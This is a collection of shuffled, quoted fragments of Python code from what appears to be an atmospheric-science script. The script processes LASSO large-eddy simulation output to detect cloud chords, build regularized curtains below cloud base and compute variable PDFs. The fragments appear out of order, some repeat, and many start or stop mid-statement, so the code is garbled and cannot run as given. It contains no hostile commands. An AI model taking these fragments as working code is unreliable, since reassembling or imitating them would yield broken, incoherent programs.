"variable def proc_pdf(reg_var = 'w', date_str='20160611', directory_input ='/data/testbed/lasso/sims/', directory_output ='data_pdfs/',",
"zero: ',np.mean(w_tmp),w_tmp) #globals().update(locals()) ############################################################################################################################################### ################## SIZE BINNING ############################################################################################################## ############################################################################################################################################### if",
"thl and qt we subtract the closet mean profile for",
"weird initial fields. time_begin = ttiimmee.time() dz = 25.0 #39.0625",
"t_1d*0 #The needed surface_bouyancy_flux bflux_s_1d = t_1d*0 qtflux_s_1d = t_1d*0",
"coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid, 'length':mid_bin_size}) xr_dataset[reg_var].attrs['n'] =n_curtain_bin xr_dataset[reg_var+'_up'].attrs['n'] =n_curtain_bin_up xr_dataset[reg_var+'_dw'].attrs['n']",
"mean time. if data_dim_flag==1: print('sorry, but I havent implemented star",
"cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 print('iterating through step",
"confusing. import numpy as np import math from netCDF4 import",
"np.hstack([[0],z_reg_orig]) scaling_factor_x_prof_ext = np.hstack([scaling_factor_x_prof[0],scaling_factor_x_prof]) scaling_factor_y_prof_ext = np.hstack([scaling_factor_y_prof[0],scaling_factor_y_prof]) #1D vertical interpolation",
"that neighboring cells always count ##Check if the index of",
"z axes so that cloud base is at 1 d_z_tmp",
"vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it else: #If no clouds are present",
"bottom # chord_times: 0 use Neils values, use values that",
"dissabled # data_dim_flag: 1 = column, 3 = 3D snapshot",
"cloud base chord_w = [] chord_w_up = [] #mean over",
"if size_bin_flag==1: N_bins = 12 n_curtain_bin = np.zeros([N_bins]) n_curtain_bin_up =",
"end of the curtain, we add a bit to to",
"date_str #1D clustering parameters in seconds, taken to agree with",
"print(':') print(':') return #A simple script which calculates a histogram",
"u_ref = file_prof['u'][it,ref_lvl] v_ref = file_prof['v'][it,ref_lvl] V_ref = np.sqrt(u_ref**2+v_ref**2) time_resolution",
"n it comes out fin #We assume here that n_x",
"general with a flexible variable def proc_pdf(reg_var = 'w', date_str='20160611',",
"everywhere cbl_1d = t_1d*0 cbl_1d[:] = cbl_1d_prof[it] #The needed surface",
"#f = interp1d(z_reg_orig, var_orig_col, kind='next') f = interp1d(z_reg_orig, var_orig_col, kind='nearest')",
"t_cloudy_idx #now connecting all cloudy indexes while t_cloudy_idx < len(cbl_cl_idx)-1",
"= xr.Dataset( data_vars = {reg_var :(('regularized height', 'regularized time','length'), var_curtain_bin_sum.transpose()/n_curtain_bin),",
"is over, and a chordlength is created which is a",
"cloudy timestep is lower than t_gap it counts as the",
"in ',filename_chord_panda) print(':') print(':') print(':') print(':') print(':') print(':') print(':') print(':')",
"np.linspace(-0.5-curtain_extra,0.5+curtain_extra ,n_t_reg+1) t_reg_mid = np.linspace(-0.5-curtain_extra+d_reg/2,0.5+curtain_extra-d_reg/2 ,n_t_reg) z_reg_bound = np.linspace(0,1.5 ,n_z_reg+1)",
"alpha + np.log(rel_hum) dewpoint = (B * alpha) / (A",
"total_surf_buoy_flux[it] qtflux_s_1d = t_1d*0 + total_surf_qt_flux[it] thlflux_s_1d = t_1d*0 +",
"cloud cell is within 300 m of CBL nt =",
"25, boundary_scaling_flag = 1, range_var = [-10,10] ): #We are",
"',it,' cause no clouds') ql_2d = np.zeros((nz,1)) w_2d = np.zeros((nz,1))",
"as plt import pandas as pd import gc import glob",
"(0, 2, 1)) var_3d = np.transpose(var_3d, (0, 2, 1)) #globals().update(locals())",
"save string save_string_base = '_beard_'+date+'_d'+str(data_dim_flag)+'_cb'+str(base_smoothing_flag)+'_an'+str(anomaly_flag)+'_ct'+str(chord_times)+'_ce'+str(int(curtain_extra)) if data_dim_flag==3: save_string_base = save_string_base+'_sf'+str(scale_flag)",
"= save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) if boundary_scaling_flag==1: save_string_base",
"us a fake time resolution #we use the calculated cbl+300",
"0, anomaly_flag = 0, N_it_max=1e9, N_it_min=0, size_bin_flag=0, N_bins=12, bin_size =",
"always counted as consecutive, not matter the time distance between",
"height', 'regularized time'), var_curtain_sum.transpose()/n_curtain), reg_var+'_up':(('regularized height', 'regularized time'), var_curtain_up_sum.transpose()/n_curtain_up), reg_var+'_dw':(('regularized",
"273.15)) / (B + (T-273.15))) alpha = alpha + np.log(rel_hum)",
"z_idx_base_default #default version for variable base height if base_smoothing_flag<2: #Now",
"or ql_2d var_2d = file_col.variables[reg_var][:] var_2d = var_2d.transpose() #The needed",
"number of cells needed to convert into a curtain #",
"qt_2d = np.hstack([qt_2d ,np.array(qt_3d.reshape((nz,nx*ny)))]) #Should now be able to delete",
"needed to convert into a curtain # #1D clustering parameters,",
"of the cbl #z_min = 0 #Index of minimum z_vlvl",
"the percentile back z_idx_base[:] = z_idx_base_default #default version for variable",
"var_curtain_tmp = var_curtain_tmp[::-1,:] var_curtain_tmp = abs(scaling_factor) * var_curtain_tmp if scale_flag==2:",
"fields over to the chord searcher print('skipping timestep: ',it,' cause",
"#Use to have a different method using nans that doesn:t",
"bit trickier then for the 3D version. Will have to",
"bin should be empty, because we only calculate curtains when",
"cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] ### Clustering 1D #Now we",
"calculate the cbl top for each profile time for tt",
"height if base_smoothing_flag<2: #Now for each of the columns of",
"6.112*100 * np.exp(17.67 * (T - 273.15) / (T -",
"plot_curtains_flag = 0, base_percentile = 25, special_name='', scale_flag=2, chord_times =",
"qt qt_2d[:,:] = (qt_2d.transpose() - qt_prof[it,:]).transpose() thl_2d[:,:] = (thl_2d.transpose() -",
"file_col.variables['ql'][:] ql_2d = ql_2d.transpose() t_1d = file_col.variables['time'][:] u_2d = file_col.variables['u'][:]",
"* np.exp(17.67 * (T - 273.15) / (T - 29.65",
"onto the rull regularized grid #print(t_reg_orig.shape,z_reg_mid.shape) f = interp2d(t_reg_orig, z_reg_mid,",
"t_cloudy_idx < len(cbl_cl_idx)-1 and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx += 1",
"else: chord_z_min = 0 chord_duration = 0 if chord_duration>t_min and",
"= 2*scaling_factor_x_inter else: scaling_factor_prof = 2*scaling_factor_y_inter for n_prof in range(scaling_factor_prof.shape[0]):",
"np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #This might save a bit of memory if",
"3D fields into 2d slices with an imaginary time vector",
"2 timesteps, which is what is assigned when no clouds",
"Only reall makes sense for 3D to avoid some weird",
"calculating the var at cloud base var_cl_base=var_2d[cl_base[cbl_cl_idx]-1,cbl_cl_idx] #If boundary scaling",
"base #Should be able to work for any variable in",
"a function #removed the possibility to loop over multiple dates,",
"#1D vertical interpolation to get the right columns and asign",
"to the z_reg_orig to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_2d",
"I turn these from lists to arrays? Fuck it, will",
"= 0 n_curtain_up = 0 n_curtain_dw = 0 if size_bin_flag==1:",
":(('regularized height', 'regularized time'), var_curtain_sum.transpose()/n_curtain), reg_var+'_up':(('regularized height', 'regularized time'), var_curtain_up_sum.transpose()/n_curtain_up),",
"will be regularized # plot_curtains_flag: 0 nothing, 1 plots pre",
"it is possible to get #Small chord lengths with more",
"when chord_max/2 is reached # boundary_scaling_flag: 0 nothing, 1 uses",
"data_dim_flag==1: filename_column = [] #uses glob to get all files",
"of cloud z_min = 10 #Index of minimum z_vlvl of",
"filename_column = [] #uses glob to get all files which",
"v_ref_prof = file_prof['v'][it,:] V_ref_prof = np.sqrt(u_ref_prof**2+v_ref_prof**2) scaling_factor_x_prof = u_ref_prof/V_ref_prof scaling_factor_y_prof",
"is used. if idx_end_curtain<nt-2 and idx_beg_curtain>2 and len(cbl_cl_idx[t_chord_begin:t_chord_end])>curtain_min-1: n_curtain +=",
"downdraft chords w_tmp = w_2d[cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]]-1,cbl_cl_idx[t_chord_begin:t_chord_end]] #print(w_tmp) #Scaling is now added",
"least curtain_min is used # curtain_extra: Regularized chord length before",
"#Should now be able to delete 3d fields as they",
"V_ref_prof = np.sqrt(u_ref_prof**2+v_ref_prof**2) scaling_factor_x_prof = u_ref_prof/V_ref_prof scaling_factor_y_prof = v_ref_prof/V_ref_prof #Using",
"chord lengths with more than t_min which are mostly gaps.",
"height', 'regularized time'), var_curtain_dw_sum.transpose()/n_curtain_dw)}, coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid}) xr_dataset[reg_var].attrs['n']=n_curtain xr_dataset[reg_var+'_up'].attrs['n']=n_curtain_up",
"we either iterate over columns or timesteps if data_dim_flag==1: n_iter",
"N_it_max=1e9): # plot_curtains_flag: 0 nothing, 1 plots pre regularization plots,",
"mean profile # directory_input = '/data/testbed/lasso/sims/' #+date # N_it_max =",
"= np.transpose(thl_3d, (0, 2, 1)) w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d",
"var_2d = np.array(var_3d.reshape((nz,nx*ny))) #Now we do the same thing with",
"np.zeros([0,n_percentiles]) #This now a bit trickier then for the 3D",
"to 60 % of the domain height, but spit out",
"percentile in agreement with Neil z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]],base_percentile)) #Regularized curtains,",
"3 #Minimal number of cells needed per chord curtain_min =",
"all my variables to func_curtain_reg so I instead made it",
"var_curtain_bin_up_sum.transpose()/n_curtain_bin_up), reg_var+'_dw':(('regularized height', 'regularized time','length'), var_curtain_bin_dw_sum.transpose()/n_curtain_bin_dw)}, coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid,",
"for 3d output, 1d_flag needs to use the closet mean",
"the vectors don't perfectly align qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose()",
"var_orig_col, kind='next') f = interp1d(z_reg_orig, var_orig_col, kind='nearest') try: var_reg_inter =",
"= qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = qt_prof[tt,:] #because the vectors don't perfectly",
"size_bin_flag=0, N_bins=12, bin_size = 250, curtain_extra = 1.0, chord_max =",
"#Now adding the var_curtain_tmp to the sums var_curtain_sum = var_curtain_sum+var_curtain_tmp",
"# plot_curtains_flag: 0 nothing, 1 plots pre regularization plots, currently",
"needed anymore, not sure if that helps save any memory",
"chord_times: 0 use Neils values, use values that fit model",
"slice, is needed for scale_flag # scale_flag: If 0, nothing,",
"n_t_reg = int((1+2*curtain_extra)/d_reg) t_reg_bound = np.linspace(-0.5-curtain_extra,0.5+curtain_extra ,n_t_reg+1) t_reg_mid = np.linspace(-0.5-curtain_extra+d_reg/2,0.5+curtain_extra-d_reg/2",
"= np.zeros(1) #The needed cbl height, which constant everywhere cbl_1d",
"used for chords #proc_beard_regularize for generating beards #proc_pdf saves pdfs",
"is lower than t_gap it counts as the same cloud",
"calculate the new regularized grid with the correct vertical but",
"############################################################################################################################## #If the plot flag is set the pre regularization",
"if data_dim_flag==1: print('sorry, but I havent implemented star scaling for",
"are the same everywhere. surf_flux = np.mean(bflux_s_1d) base_height = z_idx_base_default*dz",
"column, 3 = 3D snapshot # chord_times: 0 use Neils",
"timesteps and detect chords #If they fulful chord time requirements",
"needed var_t_low_z_high = np.zeros([curtain_cells,n_z_reg]) #introducing z_idx_base vector #Assigning reference cloud",
"2*scaling_factor_y if scaling_factor>0: var_curtain_tmp = var_curtain_tmp[::-1,:] var_curtain_tmp = abs(scaling_factor) *",
"indepenent of wind direction (right?) #Similarly, no basedefinition is needed,",
":plot_curtains_flag, 'base_percentile':base_percentile, 'special_name':special_name, 'scale_flag':scale_flag, 'chord_times':chord_times, 'anomaly_flag':anomaly_flag, 'N_it_max':N_it_max, 'N_it_min':N_it_min, 'size_bin_flag':size_bin_flag, 'bin_size':bin_size,",
"tmp_matrix = thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = thl_prof[tt,:] #because the vectors don't",
"crash regularization later on, timestep: ',tt) cbl_1d_prof[tt] = math.floor(nz*0.6) print('resulting",
"N_it_min=0, size_bin_flag=0, N_bins=12, bin_size = 250, curtain_extra = 1.0, chord_max",
"grid #print(t_reg_orig.shape,z_reg_mid.shape) f = interp2d(t_reg_orig, z_reg_mid, var_t_low_z_high.transpose(), kind='linear') var_curtain =",
"- thl_prof[it,:]).transpose() #to get the fake time vector we load",
"'base_percentile':base_percentile, 'special_name':special_name, 'scale_flag':scale_flag, 'chord_times':chord_times, 'anomaly_flag':anomaly_flag, 'N_it_max':N_it_max, 'N_it_min':N_it_min, 'size_bin_flag':size_bin_flag, 'bin_size':bin_size, 'N_bins':N_bins,",
"#print(w_tmp) #Scaling is now added here, #Things are applied twice",
"regularized beards # proc_chords is used for chords #proc_beard_regularize for",
"of overlap is used. if idx_end_curtain<nt-2 and idx_beg_curtain>2 and len(cbl_cl_idx[t_chord_begin:t_chord_end])>curtain_min-1:",
"= 2*scaling_factor_y_inter for n_prof in range(scaling_factor_prof.shape[0]): if scaling_factor_prof[n_prof]>0: var_curtain_tmp[:,n_prof] =",
"np.zeros([n_t_reg,n_z_reg]) n_curtain = 0 n_chord = 0 n_curtain_up = 0",
"- qt_prof[it,:]).transpose() thl_2d[:,:] = (thl_2d.transpose() - thl_prof[it,:]).transpose() #to get the",
"scaling_factor=1. #find index of bin close to mid size bin",
"ql_2d = file_col.variables['ql'][:] ql_2d = ql_2d.transpose() t_1d = file_col.variables['time'][:] u_2d",
"to each side to make interpolation easy idx_beg_curtain = (np.abs(t_1d",
"now added here, #Things are applied twice so that deviding",
"file_col.variables['time'][:] print('t_1d',t_1d) thl_2d = file_col.variables['thl'][:] thl_2d = thl_2d.transpose() qt_2d =",
"apparently') var_pdf = var_hist_sum save_string_base = '_pdf_'+date+'_d'+str(data_dim_flag)+'_an'+str(anomaly_flag) if N_it_min>0: save_string_base",
"#Assigning reference cloud base where no cloud present z_idx_base=cl_base*1.0+0.0 z_idx_base[:]",
"into play: #We started with a simple 5 cell running",
"the cbl #z_min = 0 #Index of minimum z_vlvl of",
"cbl height cbl_1d = t_1d*0 #The needed surface_bouyancy_flux bflux_s_1d =",
"of memory if reg_var == 'w': var_2d = w_2d if",
"= file_col.variables['ql'][:] ql_2d = ql_2d.transpose() t_1d = file_col.variables['time'][:] u_2d =",
"cloud base and saves it #I will try to keep",
"vector, t_1d = np.linspace(0,2*nx*ny,2*nx*ny) #Switching to anomalies if anomaly flag",
"w_2d[cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]]-1,cbl_cl_idx[t_chord_begin:t_chord_end]] #print(w_tmp) #Scaling is now added here, #Things are applied",
"= 3 #Minimal number of cells needed per chord curtain_min",
"'star'+save_string_base save_string = directory_output+ reg_var+save_string_base save_string = save_string+'.npz' np.savez(save_string,var_pdf=var_pdf,range_var=range_var) print('saved",
"jumps #2019-03-28: Added simplified version for base_smoothing_flag == 2 which",
"and len(cbl_cl_idx[t_chord_begin:t_chord_end])>curtain_min-1: n_curtain += 1 #First thing to do is",
"easy idx_beg_curtain = (np.abs(t_1d - (time_beg_chord-curtain_extra*(time_end_chord-time_beg_chord)))).argmin()-1 idx_end_curtain = (np.abs(t_1d -",
"= surf_qt_flux/w_star surf_thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) thl_star = surf_thl_flux/w_star chord_w_star.append(w_star )",
"29.65 )) #rel_hum = np.asmatrix(qt_pressure/sat_qv)[0] rel_hum = qt_pressure/sat_qv #Dewpoint A",
"if anomaly_flag==1: for tt in range(len(time_prof)): tmp_matrix = var_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector",
"= math.floor(np.percentile(cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]],base_percentile)) #Regularized curtains, I am too lazy to pass",
"tmp_w_per_up = np.zeros(n_percentiles) tmp_w_per_up[:] = 'nan' chord_w_per = np.vstack([chord_w_per,tmp_w_per]) chord_w_per_up",
"any clouds if boundary_scaling_flag == 1 and len(cbl_cl_idx)>1: #First thing",
"np.var(w_1d[z,:]) #Mimimum of LCL +100 or variance plus 300 m",
"file_col.variables['time'][:] print('t_1d',t_1d) #Load the var file, even if means that",
"initial fields. time_begin = ttiimmee.time() dz = 25.0 #39.0625 #should",
"i in range(idx_beg_curtain,idx_end_curtain): #assigining column value var_orig_col = input_2d_field[:,i] #Regularizing",
"V_ref=np.sqrt(u_ref**2+v_ref**2) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] chord_length = ch_duration*V_ref #if scale_flag==0: #",
"anomalies we subtract the closet mean profile if anomaly_flag==1: for",
"data_dim_flag==3: if scale_flag==1: #find out if we need scaling_factor_x or",
"we need scaling_factor_x or y by seeing if we are",
"ql_min = 1e-5 #value used to determine existence of cloud",
"var_curtain_tmp = var_curtain_tmp/boundary_scaling #Finally add it to the mean one",
"reference cloud base where no cloud present z_idx_base=cl_base*1.0+0.0 z_idx_base[:] =",
"a bit overcooked currently as it only works with 3D",
"= w_star if reg_var=='qt': surf_flux = np.mean(qtflux_s_1d) boundary_scaling = surf_flux/w_star",
"= 'nan' chord_w_per = np.vstack([chord_w_per,tmp_w_per]) chord_w_per_up = np.vstack([chord_w_per,tmp_w_per_up]) if data_dim_flag==1:",
"len(cbl_cl_idx)-1 and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx += 1 t_chord_end =",
"#Now that w_x_low_z_high we have to interpolate 2D onto the",
"cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] #Scaling between x and y is calculated",
"file_prof['z'][:] dz = z_prof[1]-z_prof[0] print('dz: ',dz) #for boundary scaling total_surf_buoy_flux",
"smoother to hopefully avoid impact of harsch jumps #2019-03-28: Added",
"filename_column.append(c_file) print('filename column included:',c_file) if data_dim_flag==3: filename_w = directory_input+date+'/w.nc' filename_l",
"scale_flag == 2: #Regularizing the scaling profiles and interpolation them",
"scipy.interpolate import interp2d #from scipy.interpolate import griddata #from mpl_toolkits.axes_grid1 import",
"#HAve to add 0 to the z_reg_orig to enable interpolation",
"in two to keep the one script from getting to",
"up','w per','w per up', 'w star','thl star','qt star', 'thl','thl 25','thl",
"time:',(time2-time1)*1.0,) ### Detecting lowest cloud cell is within 300 m",
"cbl_1d = t_1d*0 cbl_1d[:] = cbl_1d_prof[it] #The needed surface buoyancy",
"qt_pressure = p*qt sat_qv = 6.112*100 * np.exp(17.67 * (T",
"',n_chords) time1 = ttiimmee.time() if data_dim_flag ==1: print('loading column: ',filename_column[it])",
"nothing, 1 uses the surface fluxes and cloud base height",
"detect chords #If they fulful chord time requirements and have",
"it a function of the chordlength, using a 0.1 running",
"from scipy.interpolate import interp2d #from scipy.interpolate import griddata #from mpl_toolkits.axes_grid1",
"2, 1)) var_3d = np.transpose(var_3d, (0, 2, 1)) #globals().update(locals()) w_2d",
"tmp_w_per_up[:] = 'nan' chord_w_per = np.vstack([chord_w_per,tmp_w_per]) chord_w_per_up = np.vstack([chord_w_per,tmp_w_per_up]) if",
"contraint, if the cloudy cells are right next to each",
"to get started. The lowest bin should be empty, because",
"at least cell_min cells, because it is possible to get",
"time #we also added a minimum height of 100 m",
"make interpolation easy idx_beg_curtain = (np.abs(t_1d - (time_beg_chord-curtain_extra*(time_end_chord-time_beg_chord)))).argmin()-1 idx_end_curtain =",
"print(':') time_end = ttiimmee.time() print('total run time of proc_beard_regularize in",
"time: ',cbl_1d_prof) print('calculated LCL: ',LCL_index) #Now we either iterate over",
"an additional contraint, if the cloudy cells are right next",
"'regularized time'), var_curtain_sum.transpose()/n_curtain), reg_var+'_up':(('regularized height', 'regularized time'), var_curtain_up_sum.transpose()/n_curtain_up), reg_var+'_dw':(('regularized height',",
"it on w_3d = np.transpose( w_3d, (0, 2, 1)) ql_3d",
"multiple dates, if you want to do that call the",
"= np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) w_star = (tmp_base_height*surf_b_flux)**(1./3.) surf_qt_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) qt_star =",
"bit of memory if reg_var == 'w': var_2d = w_2d",
"(tmp_matrix.transpose() - tmp_vector).transpose() tmp_matrix = qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = qt_prof[tt,:] #because",
"flux, which is constant everywhere bflux_s_1d = t_1d*0 + total_surf_buoy_flux[it]",
"variables from default profile print('calculating cbl height from profile file')",
"needed per chord curtain_min = 10 #Minimal number of cells",
"avoid impact of harsch jumps #2019-03-28: Added simplified version for",
"chordlength #However if the duration of the chordlength is lower",
"chord_w_star =np.asarray(chord_w_star) chord_thl_star =np.asarray(chord_thl_star) chord_qt_star =np.asarray(chord_qt_star) chord_w =np.asarray(chord_w) chord_w_up =np.asarray(chord_w_up)",
"isn't #I added an additional constraint that each chord must",
"function #removed the possibility to loop over multiple dates, if",
"surf_thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) thl_star = surf_thl_flux/w_star chord_w_star.append(w_star ) chord_thl_star.append(thl_star )",
"#and their properties are calculatted immediately t_cloudy_idx = 0 #n_chords",
"= data_for_panda, columns=['timesteps','duration','length','height','w_base','w','w_flux','time','w up','w per','w per up', 'w star','thl star','qt",
"interpolate 2D onto the rull regularized grid #print(t_reg_orig.shape,z_reg_mid.shape) f =",
"= np.zeros([N_bins,n_t_reg,n_z_reg]) mid_bin_size = np.linspace(125,-125+N_bins*250,N_bins) print('mid_bin_size',mid_bin_size) print('looking into date: ',date)",
"of all timesteps that below to that chordlength #However if",
"var_prof[it,:]).transpose() #to get the fake time vector we load the",
"and curtain tail noes not extend beyond end of 2d",
",it,'thl') #Here we have to do all the fuckery to",
"pdfs of a variable below cloud base #Both have a",
"calculatted immediately t_cloudy_idx = 0 #n_chords = 0 chord_idx_list =",
"height', 'regularized time','length'), var_curtain_bin_up_sum.transpose()/n_curtain_bin_up), reg_var+'_dw':(('regularized height', 'regularized time','length'), var_curtain_bin_dw_sum.transpose()/n_curtain_bin_dw)}, coords={'regularized",
"(thl_2d.transpose() - thl_prof[it,:]).transpose() #to get the fake time vector we",
"m of CBL nt = len(cbl_1d) cl_base = np.zeros(nt) #Detecting",
"puts out the total sums, 1: adds a seperate output",
"chord length before and after in the curtain, default is",
"cause no clouds') ql_2d = np.zeros((nz,1)) w_2d = np.zeros((nz,1)) thl_2d",
"cause no clouds') ql_2d = np.zeros((nz,1)) w_2d = np.zeros((nz,1)) var_2d",
"and len(cbl_cl_idx)>1: #First thing to do is calculate the chord",
"the profile values dt_2 = (time_prof[1]-time_prof[0])/2 for tt in range(len(time_prof)):",
"file_qt = Dataset(filename_qt,read='r') [nz, nx, ny] = get_zxy_dimension(filename_l,'ql') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if",
"later on dx = 25.0 date = date_str #1D clustering",
"0 #n_chords = 0 chord_idx_list = [] print('iterating through step",
"is named the same as the file. #Changing 3D output",
"through all cloudy timesteps #As long as the difference to",
"inner function to avoid issues with global and local variables",
"= np.array(ql_3d.reshape((nz,nx*ny))) var_2d = np.array(var_3d.reshape((nz,nx*ny))) #Now we do the same",
"> 4: if t_chord_end-t_chord_begin>cell_min-1: n_chords += 1 #Getting the chord",
"A = 17.27 B = 237.7 alpha = ((A *",
"w2 = file_prof['w2'][:,:] nz_prof = w2.shape[1] var_prof = file_prof[reg_var][:,:] #needed",
"= grab_3d_field(file_ql ,it,'ql') w_3d = grab_3d_field(file_w ,it,'w') var_3d = grab_3d_field(file_var",
"do all the fuckery to turn the 3D fields into",
"= cbl_cl_idx[t_chord_end] time_beg_chord = t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord] #Calculate the",
"file_ql = Dataset(filename_l,read='r') file_thl = Dataset(filename_thl,read='r') file_qt = Dataset(filename_qt,read='r') [nz,",
",n_z_reg+1) z_reg_mid = np.linspace(0+d_reg/2,1.5-d_reg/2 ,n_z_reg) mesh_curtain_t,mesh_curtain_z = np.meshgrid(t_reg_mid,z_reg_mid) var_curtain =",
"= (var_2d.transpose() - var_prof[it,:]).transpose() #to get the fake time vector",
"y is calculated here if required. Is skipped if there",
"= np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 print('iterating through step ',it,'which",
"bflux_s_1d = t_1d*0 + total_surf_buoy_flux[it] qtflux_s_1d = t_1d*0 + total_surf_qt_flux[it]",
"the vectors don't perfectly align var_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose()",
"= {reg_var :(('regularized height', 'regularized time'), var_curtain_sum.transpose()/n_curtain), reg_var+'_up':(('regularized height', 'regularized",
"a function of the chordlength, using a 0.1 running mean",
"#print('t_chord_end',t_chord_end) #Checking if it fulfils chord criteria regaring time #we",
"n_curtain_bin_dw[bin_idx] += 1 var_curtain_bin_dw_sum[bin_idx,:,:] += var_curtain_tmp else: print('wtf how is",
"= surf_flux/w_star var_cl_base = var_cl_base/boundary_scaling #Calculating the histogram, and adding",
"1e9 cell_min = 3 #Minimal number of cells needed per",
"### Clustering 1D #Now we simply go through all cloudy",
"repeatedly #Should be able to work for any variable in",
"= np.hstack([var_orig_col[0],var_orig_col]) #1D vertical interpolation to get the right columns",
"no cloud. for t in range(nt): if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>ql_min)",
"n_curtain_bin = np.zeros([N_bins]) n_curtain_bin_up = np.zeros([N_bins]) n_curtain_bin_dw = np.zeros([N_bins]) var_curtain_bin_sum",
"#As an additional contraint, if the cloudy cells are right",
"functions needed to process both chords and regularized beards #",
"iterables, 3D timesteps or column files. Only reall makes sense",
"testing things quickly # N_it_min = start number of iterables,",
"now I also hard coded that neighboring cells always count",
"to that chordlength #However if the duration of the chordlength",
"t_cloudy_idx += 1 t_chord_end = t_cloudy_idx #print('t_chord_end',t_chord_end) #Checking if it",
"chord_duration.append(ch_duration) chord_length.append(ch_duration*V_ref) tmp_base_height = np.percentile(cl_base[ch_idx_l],base_percentile)*dz chord_height.append(tmp_base_height) #25th percentile of cloud",
"= np.vstack([chord_w_per,tmp_w_per_up]) if data_dim_flag==1: chord_time.append(np.mean(t_1d[ch_idx_l])) if data_dim_flag==3: chord_time.append(time_prof[it]) t_cloudy_idx +=",
"1 var_curtain_up_sum += var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_dw += 1 var_curtain_dw_sum",
"= 25, boundary_scaling_flag = 1, range_var = [-10,10] ): #We",
"= var_cl_base/boundary_scaling #Calculating the histogram, and adding it to the",
"is constant everywhere bflux_s_1d = t_1d*0 + total_surf_buoy_flux[it] qtflux_s_1d =",
"grid spacing gives us a fake time resolution #we use",
"t_chord_begin = t_cloudy_idx #now connecting all cloudy indexes while t_cloudy_idx",
"scaling_factor_prof = 2*scaling_factor_x_inter else: scaling_factor_prof = 2*scaling_factor_y_inter for n_prof in",
"= cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns')",
"z_idx_base vector #Assigning reference cloud base where no cloud present",
"least somewhat general with a flexible variable def proc_pdf(reg_var =",
"the same as the next index in total, if so",
"(A - alpha) dewpoint = dewpoint + 273.15 LCL =",
"added 2 cells buffer at the beginning and end, because",
"file_w = Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r') file_thl = Dataset(filename_thl,read='r') file_qt",
"del var_3d gc.collect() #fake t vector, t_1d = np.linspace(0,2*nx*ny,2*nx*ny) #Switching",
"= Dataset(filename_column[it],read='r') w_2d = file_col.variables['w'][:] w_2d = w_2d.transpose() ql_2d =",
"as the file. #Changing 3D output #Default is now to",
"del thl_3d del qt_3d #hopefully this helps gc.collect() #Getting anomalies",
"(0, 2, 1)) #globals().update(locals()) w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d =",
"chord_thl_25 = [] chord_thl_75 = [] chord_qt = [] chord_qt_25",
"= z_idx_base_default #default version for variable base height if base_smoothing_flag<2:",
"t_gap = 0. #should be pretty strict, no gaps allowed!",
"#get a fourth and 3/4 of the cloud base cl_base_25_idx",
"# Can't think of a good way to do this,",
"surf_flux/w_star if reg_var=='thl': thl_flux = np.mean(thlflux_s_1d) boundary_scaling = surf_flux/w_star var_cl_base",
"= 0, N_it_min=0, N_it_max=1e9): # plot_curtains_flag: 0 nothing, 1 plots",
"and asign them one by one to w_x_low_z_high #f =",
"= file_prof['z'][:] dz = z_prof[1]-z_prof[0] print('dz: ',dz) #for boundary scaling",
"= 1200*100 #Made a 100 times longer cell_min = 3",
"filename_var = directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': #",
"#rel_hum = np.asmatrix(qt_pressure/sat_qv)[0] rel_hum = qt_pressure/sat_qv #Dewpoint A = 17.27",
"var_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() # = var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:] if data_dim_flag",
